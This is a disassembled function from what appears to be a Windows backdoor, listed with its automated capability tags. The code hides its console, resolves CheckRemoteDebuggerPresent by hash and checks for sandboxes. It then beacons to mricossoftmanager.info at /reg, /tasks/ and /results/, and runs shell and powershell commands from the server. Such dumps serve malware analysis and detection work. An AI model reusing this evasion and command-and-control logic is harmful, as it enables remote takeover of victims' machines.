Function at 0x140006a74
Capabilities:
Access peb ldr_data
Encode data using xor
Enumerate process modules
Get memory capacity
Get system information on windows
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x16c8]
mov eax, 0x17a0
call fcn.140009e30
sub rsp, rax
mov rax, qword [0x14003a020]
xor rax, rsp
mov qword [rbp + 0x1690], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x2f0], 0x40
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rdi, qword [rbp + 0x2f8]
shr rdi, 0x14
lea rcx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r13d, r13d
mov dword [rbp + 0x180], r13d
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r10d, dword [rdx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x140006b82
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x140006b82
mov esi, dword [r10 + 0x20]
dec r8d
lea rax, [rsi + r8*4]
mov edx, dword [rax + r9]
add rdx, r9
mov r11d, 0x5d6688f2
mov al, byte [rdx]
inc rdx
test al, al
je 0x140006b7d
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x140006b5e
cmp r11d, 0x4e64c17a
je 0x140006b87
test r8d, r8d
jne 0x140006b41
mov rcx, qword [rcx]
jmp 0x140006b1c
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [r10 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
lea rdx, str.CheckRemoteDebuggerPresent
mov rcx, r14
call r8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rbp + 0x180]
mov rcx, rax
call rbx
mov r14d, 1
cmp dword [rbp + 0x180], r14d
je 0x140007bb5
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, rax
movabs rax, 0x624dd2f1a9fbe77
mul rcx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 9
cmp rcx, 0x4b0
jb 0x140007bb5
lea r8, [rbp + 0x200]
mov esi, 0x1000
mov edx, esi
lea rcx, [rbp + 0x690]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov eax, dword [rbp + 0x200]
shr eax, 2
cmp eax, 0x1e
jb 0x140007bb5
cmp edi, 0x400
jl 0x140007bb5
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x198], r13
lea ebx, [r14 + 0xe]
mov qword [rbp + 0x1a0], rbx
mov byte [rbp + 0x188], r13b
mov qword [rbp + 0x268], r13
mov qword [rbp + 0x278], r13
mov qword [rbp + 0x280], rbx
mov byte [rbp + 0x268], r13b
lea r9, str.mricossoftmanager.info
lea edx, [rbx + 7]
lea rcx, [rbp + 0x268]
call fcn.14000631c
nop
mov qword [rbp + 0x2c8], r13
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2d8], 4
mov dword [rbp + 0x2c8], 0x33343438
mov byte [rbp + 0x2cc], r13b
mov qword [rbp + 0x248], r13
mov qword [rbp + 0x260], rbx
mov qword [rbp + 0x258], r14
mov word [rbp + 0x248], 0x77
mov r15d, 0xbb8
call fcn.140010844
mov rdi, rax
lea rbx, [rbp + 0x2c8]
cmp qword [rbp + 0x2e0], 0x10
cmovae rbx, qword [rbp + 0x2c8]
mov dword [rax], r13d
lea r8d, [r14 + 9]
lea rdx, [rbp + 0x158]
mov rcx, rbx
call fcn.140012018
mov r12d, eax
cmp rbx, qword [rbp + 0x158]
jne 0x140006d2e
lea rcx, str.invalid_stoi_argument
call fcn.1400083a4
int3
cmp dword [rdi], 0x22
je 0x140007ba8
mov qword [rbp + 0x208], r13
mov ebx, 0xf
mov qword [rbp + 0x220], rbx
mov qword [rbp + 0x218], r13
mov byte [rbp + 0x208], r13b
mov qword [rbp + 0x2a8], r13
mov qword [rbp + 0x2b8], r13
mov qword [rbp + 0x2c0], rbx
mov byte [rbp + 0x2a8], r13b
lea r9, str.cmd.exe__c_hostname
lea edx, [rbx + 4]
lea rcx, [rbp + 0x2a8]
call fcn.14000631c
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x580]
call fcn.14000ba30
lea rdx, [rbp + 0x2a8]
cmp qword [rbp + 0x2c0], 0x10
cmovae rdx, qword [rbp + 0x2a8]
lea rcx, [rbp + 0x580]
call fcn.140007bdc
nop
mov rdx, qword [rbp + 0x580]
lea rcx, [rsp + 0x78]
call fcn.140002e34
nop
mov r9, qword [rax]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [r9 + rdi], r13b
jne 0x140006ddc
cmp rdi, qword [rbp + 0x220]
ja 0x140006e25
lea rbx, [rbp + 0x208]
cmp qword [rbp + 0x220], 0x10
cmovae rbx, qword [rbp + 0x208]
mov qword [rbp + 0x218], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.14000b380
mov byte [rbx + rdi], r13b
mov ebx, 0xf
jmp 0x140006e35
mov rdx, rdi
lea rcx, [rbp + 0x208]
call fcn.14000631c
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140006e54
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
mov rcx, qword [rbp + 0x218]
sub rax, rcx
cmp rax, 5
jae 0x140006e89
call fcn.140001288
int3
lea rax, [rbp + 0x208]
cmp qword [rbp + 0x220], 0x10
cmovae rax, qword [rbp + 0x208]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 5
lea r9, str.name
lea rcx, [rbp + 0xd0]
call fcn.140007d90
nop
mov r8d, 6
lea rdx, str.type
lea rcx, [rbp + 0xd0]
call fcn.140005274
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], rbx
mov byte [rax], r13b
lea rdx, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
cmovae rdx, qword [rbp + 0x248]
mov r8, qword [rbp + 0x258]
lea rcx, [rsp + 0x58]
call fcn.140005274
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], rbx
mov byte [rax], r13b
mov qword [rbp - 0x10], r13
mov qword [rbp + 8], rbx
mov qword [rbp], 4
mov dword [rbp - 0x10], 0x6765722f
mov byte [rbp - 0xc], r13b
mov qword [rbp + 0x90], r13
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], r13
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x90]
call fcn.1400052e8
nop
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x10]
mov r8d, r12d
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.1400026bc
lea rcx, [rbp + 0x188]
cmp rcx, rax
je 0x140006fdb
mov r8b, r13b
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140005388
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140007017
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, rsi
jb 0x140007012
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007012
call fcn.140010250
int3
call fcn.1400092e0
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], rbx
mov byte [rbp + 0x70], r13b
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140007064
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, rsi
jb 0x14000705f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000705f
call fcn.140010250
int3
call fcn.1400092e0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x58], r13b
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400070b2
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, rsi
jb 0x1400070ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070ad
call fcn.140010250
int3
call fcn.1400092e0
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x198]
mov rax, rdi
sub rax, rcx
cmp rax, 7
jb 0x140007ba2
lea rax, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0x10
cmovae rax, qword [rbp + 0x188]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str._tasks_
lea rcx, [rbp + 0xb0]
call fcn.140007d90
nop
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
lea rdx, [rbp + 0x268]
lea rcx, [rbp - 0x50]
call fcn.1400052e8
nop
lea r9, [rbp + 0xb0]
mov r8d, r12d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x288]
call fcn.140002318
nop
cmp qword [rbp + 0x298], r13
mov al, r14b
je 0x14000715a
mov al, r13b
test al, al
jne 0x140007af4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a8], xmm0
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], r13
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x50]
call fcn.1400052e8
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x1a8]
call fcn.140002acc
nop
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], r13
mov rdx, qword [rbp + 0x1a8]
lea rcx, [rbp + 0x1c0]
call fcn.1400052e8
nop
mov qword [rbp + 0x160], r13
mov qword [rbp + 0x178], rbx
mov qword [rbp + 0x170], r13
mov byte [rbp + 0x160], r13b
lea rcx, [rbp + 0x1c0]
mov rdi, qword [rbp + 0x1c0]
mov rsi, qword [rbp + 0x1d8]
cmp rsi, 0x10
cmovae rcx, rdi
mov rbx, qword [rbp + 0x1d0]
cmp rbx, 5
jne 0x14000727c
mov r8, rbx
lea rdx, str.sleep
call fcn.14000bc70
test eax, eax
jne 0x14000727c
mov rbx, qword [rbp + 0x1a8]
add rbx, 0x20
call fcn.140010844
mov r14, rax
cmp qword [rbx + 0x18], 0x10
jb 0x140007241
mov rbx, qword [rbx]
mov dword [rax], r13d
mov r8d, 0xa
lea rdx, [rbp + 0x150]
mov rcx, rbx
call fcn.140012018
cmp rbx, qword [rbp + 0x150]
je 0x140007b51
cmp dword [r14], 0x22
je 0x140007b44
imul r15d, eax, 0x3e8
jmp 0x14000734e
lea rcx, [rbp + 0x1c0]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 4
jne 0x1400072a8
mov r8, rbx
lea rdx, str.quit
call fcn.14000bc70
test eax, eax
je 0x140007b5e
lea rcx, [rbp + 0x1c0]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 6
jne 0x140007359
mov r8, rbx
lea rdx, str.rename
call fcn.14000bc70
test eax, eax
jne 0x140007359
mov rax, qword [rbp + 0x1a8]
add rax, 0x20
lea rcx, [rbp + 0x188]
cmp rcx, rax
je 0x1400078f3
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x140007300
mov r9, qword [rax]
mov r14, qword [rax + 0x10]
cmp r14, qword [rbp + 0x1a0]
ja 0x14000733f
lea rbx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0x10
cmovae rbx, qword [rbp + 0x188]
mov qword [rbp + 0x198], r14
mov r8, r14
mov rdx, r9
mov rcx, rbx
call fcn.14000b380
mov byte [rbx + r14], r13b
jmp 0x14000734e
mov rdx, r14
lea rcx, [rbp + 0x188]
call fcn.14000631c
mov r14d, 1
jmp 0x1400078f3
lea rcx, [rbp + 0x1c0]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 5
jne 0x140007384
mov r8, rbx
lea rdx, str.shell
call fcn.14000bc70
test eax, eax
mov al, r14b
je 0x140007387
mov al, r13b
test al, al
je 0x140007667
mov ebx, 0xf
mov qword [rbp + 0x1f8], rbx
mov qword [rbp + 0x1f0], 0xb
movsd xmm0, qword [str.cmd.exe__c]
movsd qword [rbp + 0x1e0], xmm0
movzx eax, word [0x1400348c0]
mov word [rbp + 0x1e8], ax
mov al, byte [0x1400348c2]
mov byte [rbp + 0x1ea], al
mov byte [rbp + 0x1eb], r13b
mov edi, r14d
mov rax, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1a8]
sub rax, rdx
sar rax, 5
cmp rax, r14
jbe 0x14000750b
mov ebx, 0x20
movabs rsi, 0x7fffffffffffffff
lea r9, [rdx + rbx]
mov rcx, qword [r9 + 0x10]
mov rax, rsi
sub rax, rcx
cmp rax, r14
jb 0x140007b6c
cmp qword [r9 + 0x18], 0x10
jb 0x140007428
mov r9, qword [r9]
mov qword [rsp + 0x30], r14
lea rax, [0x1400348c4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x30]
call fcn.140007d90
nop
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
lea rcx, [rbp + 0x1e0]
call fcn.140005274
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1400074a2
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000749d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007b66
call fcn.1400092e0
lea rdx, str.scommand_is
call fcn.140005d70
lea rdx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0x10
cmovae rdx, qword [rbp + 0x1e0]
mov r8, qword [rbp + 0x1f0]
mov rcx, rax
call fcn.140007e78
mov rcx, rax
call fcn.140005f6c
add edi, r14d
add rbx, 0x20
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1a8]
sub rcx, rdx
sar rcx, 5
movsxd rax, edi
cmp rax, rcx
jb 0x140007407
mov rbx, qword [rbp + 0x1f8]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x360]
call fcn.14000ba30
lea rdx, [rbp + 0x1e0]
cmp rbx, 0x10
cmovae rdx, qword [rbp + 0x1e0]
lea rcx, [rbp + 0x360]
call fcn.140007bdc
nop
mov rdx, qword [rbp + 0x360]
lea rcx, [rbp - 0x80]
call fcn.140002e34
nop
mov r9, qword [rax]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [r9 + rdi], r13b
jne 0x140007557
cmp rdi, qword [rbp + 0x178]
ja 0x14000759b
lea rbx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae rbx, qword [rbp + 0x160]
mov qword [rbp + 0x170], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.14000b380
mov byte [rbx + rdi], r13b
jmp 0x1400075ab
mov rdx, rdi
lea rcx, [rbp + 0x160]
call fcn.14000631c
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400075c9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
lea rdx, str.res_is
call fcn.140005d70
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae rdx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x170]
mov rcx, rax
call fcn.140007e78
mov rcx, rax
call fcn.140005f6c
nop
lea rax, [rbp + 0x368]
mov rcx, qword [rbp + 0x360]
cmp rcx, rax
je 0x14000761d
call fcn.140010a70
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x1400078e5
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400078e0
call fcn.140010250
int3
lea rcx, [rbp + 0x1c0]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 0xa
jne 0x140007692
mov r8, rbx
lea rdx, str.powershell
call fcn.14000bc70
test eax, eax
mov al, r14b
je 0x140007695
mov al, r13b
test al, al
je 0x1400078f3
mov qword [rbp + 0x228], r13
mov qword [rbp + 0x238], r13
mov ebx, 0xf
mov qword [rbp + 0x240], rbx
mov byte [rbp + 0x228], r13b
lea r9, str.powershell.exe__c
lea edx, [rbx + 3]
lea rcx, [rbp + 0x228]
call fcn.14000631c
nop
mov edi, r14d
mov rax, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1a8]
sub rax, rdx
sar rax, 5
cmp rax, r14
jbe 0x1400077c8
mov ebx, 0x20
movabs rsi, 0x7fffffffffffffff
lea r9, [rdx + rbx]
mov rcx, qword [r9 + 0x10]
mov rax, rsi
sub rax, rcx
cmp rax, r14
jb 0x140007b78
cmp qword [r9 + 0x18], 0x10
jb 0x140007726
mov r9, qword [r9]
mov qword [rsp + 0x30], r14
lea rax, [0x1400348c4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x70]
call fcn.140007d90
nop
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x228]
call fcn.140005274
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1400077a0
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000779b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007b72
call fcn.1400092e0
add edi, r14d
add rbx, 0x20
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1a8]
sub rcx, rdx
sar rcx, 5
movsxd rax, edi
cmp rax, rcx
jb 0x140007705
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x470]
call fcn.14000ba30
lea rdx, [rbp + 0x228]
cmp qword [rbp + 0x240], 0x10
cmovae rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0x470]
call fcn.140007bdc
nop
mov rdx, qword [rbp + 0x470]
lea rcx, [rbp - 0x78]
call fcn.140002e34
nop
mov r9, qword [rax]
or rdi, 0xffffffffffffffff
inc rdi
cmp byte [r9 + rdi], r13b
jne 0x140007818
cmp rdi, qword [rbp + 0x178]
ja 0x14000785c
lea rbx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae rbx, qword [rbp + 0x160]
mov qword [rbp + 0x170], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.14000b380
mov byte [rbx + rdi], r13b
jmp 0x14000786c
mov rdx, rdi
lea rcx, [rbp + 0x160]
call fcn.14000631c
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000788b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rax, [rbp + 0x478]
mov rcx, qword [rbp + 0x470]
cmp rcx, rax
je 0x1400078a4
call fcn.140010a70
nop
mov rdx, qword [rbp + 0x240]
cmp rdx, 0x10
jb 0x1400078e5
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007b7e
call fcn.1400092e0
mov rsi, qword [rbp + 0x1d8]
mov rdi, qword [rbp + 0x1c0]
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x48], rax
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp + 0x170]
sub rax, rcx
cmp rax, 7
jb 0x140007b9c
lea rax, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae rax, qword [rbp + 0x160]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.result
lea rcx, [rbp + 0xf0]
call fcn.140007d90
nop
mov rax, rbx
mov rcx, qword [rbp + 0x198]
sub rax, rcx
cmp rax, 9
jb 0x140007b96
lea rax, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0x10
cmovae rax, qword [rbp + 0x188]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str._results_
lea rcx, [rbp + 0x110]
call fcn.140007d90
nop
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], r13
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x30]
call fcn.1400052e8
nop
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x110]
mov r8d, r12d
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x130]
call fcn.1400026bc
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140007a44
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007b84
call fcn.1400092e0
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x140007a85
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007b8a
call fcn.1400092e0
mov qword [rbp + 0x170], r13
mov ebx, 0xf
mov qword [rbp + 0x178], rbx
mov byte [rbp + 0x160], r13b
cmp rsi, 0x10
jb 0x140007ad9
lea rdx, [rsi + 1]
mov rax, rdi
mov esi, 0x1000
cmp rdx, rsi
jb 0x140007acf
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007b90
mov rcx, rdi
call fcn.1400092e0
jmp 0x140007ade
mov esi, 0x1000
lea rcx, [rbp + 0x1a8]
call fcn.1400045c4
movabs rdi, 0x7fffffffffffffff
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0x2a0]
cmp rdx, 0x10
jb 0x1400070b2
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, rsi
jb 0x1400070ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400070ad
call fcn.140010250
nop
lea rcx, str.stoi_argument_out_of_range
call fcn.1400083ec
int3
lea rcx, str.invalid_stoi_argument
call fcn.1400083a4
int3
xor ecx, ecx
call fcn.14000f964
nop
call fcn.140010250
int3
call fcn.140001288
nop
call fcn.140010250
int3
call fcn.140001288
nop
call fcn.140010250
int3
call fcn.140010250
nop
call fcn.140010250
nop
call fcn.140010250
nop
call fcn.140001288
nop
call fcn.140001288
nop
call fcn.140001288
nop
lea rcx, str.stoi_argument_out_of_range
call fcn.1400083ec
nop
mov ecx, r14d
call fcn.14000f964
int3